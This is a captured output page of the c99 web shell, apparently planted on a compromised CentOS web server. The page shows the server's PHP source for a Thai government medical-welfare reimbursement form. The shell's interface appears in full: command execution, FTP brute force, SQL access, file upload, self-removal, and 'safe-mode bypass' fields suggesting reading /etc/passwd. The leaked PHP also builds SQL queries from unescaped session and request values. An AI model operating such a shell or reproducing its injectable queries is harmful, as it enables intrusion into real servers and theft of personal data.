!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/directorBCNU/   drwxr-xr-x
Free 52.6 GB of 127.8 GB (41.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Add7131.php (30.43 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
"; echo "


กรุณาทำการ Login ก่อน

"; echo ""; exit(); } else { /** Configuration */ require_once( "../configuration.php" ); require_once( $_Config_absolute_path . "/includes/framework.php" ); require_once( "../includes/Function.php" ); require_once( "../includes/FunctionDB.php" ); /** Create Database Object */ $dbObj = new DBConn; //=== SESSION $Username = $valid_user; /** Config Table for This Page */ $myTable1 = "personal_tb"; $myTable2 = "formaoffice"; $myTable3 = "project_tb"; $myTable4 = "training_tb"; $myTable5 = "budget_year_tb"; $query = "SELECT * FROM personal_tb LEFT JOIN district ON personal_tb.districtId = district.districtId LEFT JOIN amphur ON personal_tb.amphurId = amphur.amphurId LEFT JOIN province ON personal_tb.provinceId = province.provinceId WHERE Username='$Username' "; $result = $dbObj->execQuery($query); $rs = $dbObj->fetchArray($result); $Teacher_code = $rs['Teacher_code']; /** Table --> personal_tb */ $query = " SELECT *, prefixName as First_name FROM personal_tb LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId WHERE Teacher_code='$Teacher_code' "; $result = $dbObj->execQuery($query); $rss = $dbObj->fetchArray($result); $Teacher_code = $rss['Teacher_code']; $query11 = " SELECT * FROM personal_tb LEFT JOIN position_tb ON personal_tb.PositionId = position_tb.PositionId WHERE Teacher_code='$Teacher_code' "; $result11 = $dbObj->execQuery($query11); $rss11 = $dbObj->fetchArray($result11); /** Table --> tech_plan_tb */ $query1 = " SELECT * FROM $myTable2 WHERE codeId='$codeId' "; $result1 = $dbObj->execQuery($query1); $rs1 = $dbObj->fetchArray($result1); /** Table --> techplan_method_tb */ $query2 = " SELECT * FROM $myTable3 WHERE codeId='$codeId' "; $result2 = $dbObj->execQuery($query2); $rs2 = $dbObj->fetchArray($result2); /** Table --> tech_spec_tb */ $query3 = " SELECT * FROM $myTable4 WHERE Training_code='$Training_code' AND Teacher_code='$Teacher_code' "; $result3 = $dbObj->execQuery($query3); $rs3 = $dbObj->fetchArray($result3); $query = " SELECT * FROM $myTable5 "; $result5 = $dbObj->execQuery($query); $rs5 = $dbObj->fetchArray($result5); $query6 = " SELECT * FROM prefix"; $result6 = $dbObj->execQuery($query6); $query7 = " SELECT * FROM people_tb WHERE Teacher_code = '$Teacher_code' "; $result7 = $dbObj->execQuery($query7); $rs7 = $dbObj->fetchArray($result7); } # else ?> <?=$_Config_sitename;?>
">หน้าหลักแบบฟอร์มราชการข้อมูลการเบิกค่ารักษาพยาบาล บันทึกเบิกเงินสวัสดิการเกี่ยวกับการรักษาพยาบาล
แบบ 7131
ใบเบิกเงินสวัสดิการเกี่ยวกับการรักษาพยาบาล

โปรดทำเครื่องหมาย / ลงในช่อง ƒ พร้อมทั้งกรอกข้อความเท่าที่จำเป็น

     
๑. ข้าพเจ้า ตำแหน่ง " readonly="readonly"/>
  สังกัด "/>
๒. ขอเบิกค่ารักษาพยาบาลของ
  ตนเอง
  คู่สมรส     ชื่อ เลขประจำตัวบัตรประชาชน
  บิดา      ชื่อ เลขประจำตัวบัตรประชาชน
  มารดา     ชื่อ เลขประจำตัวบัตรประชาชน
  บุตร     ชื่อ เลขประจำตัวบัตรประชาชน
 
เกิดเมื่อ เป็นบุตรลำดับที่
  บุตร     ชื่อ เลขประจำตัวบัตรประชาชน
 
เกิดเมื่อ เป็นบุตรลำดับที่
  บุตร     ชื่อ เลขประจำตัวบัตรประชาชน
 
เกิดเมื่อ เป็นบุตรลำดับที่
  ยังไม่บรรลุนิตภาวะ เป็นบุตรไร้ความสามารถ หรือเสมือนไร้ความสามารถ (ก)
  ป่วยเป็นโรค
  และได้เข้ารับการตรวจรักษาพยาบาล (ชื่อสถานพยาบาล)
  ซึ่งเป็นสถานพยาบาล ทางราชการ เอกชน
 
ตั้งแต่ วันที่ ถึงวันที่
  เป็นเงินรวมทั้งสิ้น บาท ตัวอักษร ( ) (ข)
  ตามใบเสร็จที่แนบ จำนวน ฉบับ
๓. ข้าพเจ้ามีสิทธิได้รับเงินค่ารักษาพยาบาล   ตามพระราชกฤษฎีกาเงินสวัสดิการเกี่ยวกับการรักษาพยาบาล
 
ตามสิทธิ เฉพาะส่วนที่ขาดอยู่จากสิทธิที่ได้รับจากหน่วยงานอื่น   
  เฉพาะส่วนที่ขาดอยู่จากสัญญาประกันภัย
เป็นเงิน ตัวอักษร( )
 
(1) ข้าพเจ้า ไม่มีสิทธิได้รับค่ารักษาพยาบาลจากหน่วยงานอื่น 
  มีสิทธิได้รับค่ารักษาพยาบาลจากหน่วยงานอื่นแต่เลือกใช้สิทธิจากทางราชการ
  มีสิทธิได้รับค่ารักษาพยาบาลตามสัญญาประกันภัย
  เป็นผู้ใช้สิทธิเบิกค่ารักษาพยาบาลสำหรับบุตรแต่เพียงฝ่ายเดียว
(2)......ข้าพเจ้า ไม่มีสิทธิได้รับค่ารักษาพยาบาลจาหน่วยงานอื่น
(ค) มีสิทธิได้รับค่ารักษาพยาบาลจาหน่วยงานอื่น แต่ค่ารักษาพยาบาลที่ได้รับต่ำกว่าสิทธิตามพระราชกฤษฎีกาฯ
  เฉพาะส่วนที่ขาดอยู่จากสัญญาประกันภัย
  มีสิทธิได้รับค่ารักษาพยาบาลจากหน่วยงานอื่นในฐานะเป็นผู้อาศัยสิทธิของผู้อื่น
๔. เสนอ " size="50" />     (ง)
  ข้าพเจ้าขอรับรองว่า  ข้าพเจ้ามีสิทธิเบิกค่ารักษาพยาบาลสำหรับตนเองและบุคคลในครอบครัว
  ตามจำนวนที่ขอเบิก  ซึ่งกำหนดไว้ในกฎหมาย  และข้อความข้างต้นเป็นจริงทุกประการ
   
  (ลงชื่อ) ผู้ขอรับเงินสวัสดิการ
  ( )
  วันที่.......เดือน.............. พ.ศ.........
๕. คำอนุมัติ
       อนุมัติให้เบิกได้
  (ลงชื่อ)
  ( )
  ตำแหน่ง
๖. ใบรับเงิน
            ได้รับเงินสวัสดิการเกี่ยวกับการรักษาพยาบาล จำนวนเงิน บาท
  ตัวอักษร ( ) ไว้ถูกต้องแล้ว
  (ลงชื่อ) ผู้รับเงิน
  ( )
  (ลงชื่อ) ผู้จ่ายเงิน
  ( )
  วันที่.........เดือน.............. พ.ศ...........
  คำชี้แจง
  (ก) ให้ระบุการมีสิทธิเพียงใด เมื่อเทียบเท่ากับสิทธิที่ได้รับตามพระราชฎีกาเงินสวัสดิการเกี่ยวกับการศึกษาของบุตร
  (ข) ให้มีคำชี้แจงด้วยว่ามีสิทธิเพียงใด และขาดอยู่เท่าใดกรณีได้รับจากหน่วยงานอื่นเมื่อเทียบสิทธิ
  ตามพระราชกฤษฎีกาเงินสวัสดิการเกี่ยวกับการรักษาพยาบาล หรือขาดอยู่เท่าใดเมื่อได้รับค่ารักษาพยาบาลตามสัญญาประกันภัย
  (ค) ให้เติมคำว่า  คู่สมรส  บิดา  มารดา  หรือบุตร  แล้วแต่กรณี
  (ง ) ให้เสนอต่อผู้มีอำนาจอนุมัติ
 
    
freeresult($result1); /** Close the Database */ $dbObj->disconn(); /** Unset Class */ unset($dbObj); ?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd
Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 
:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0057 ]--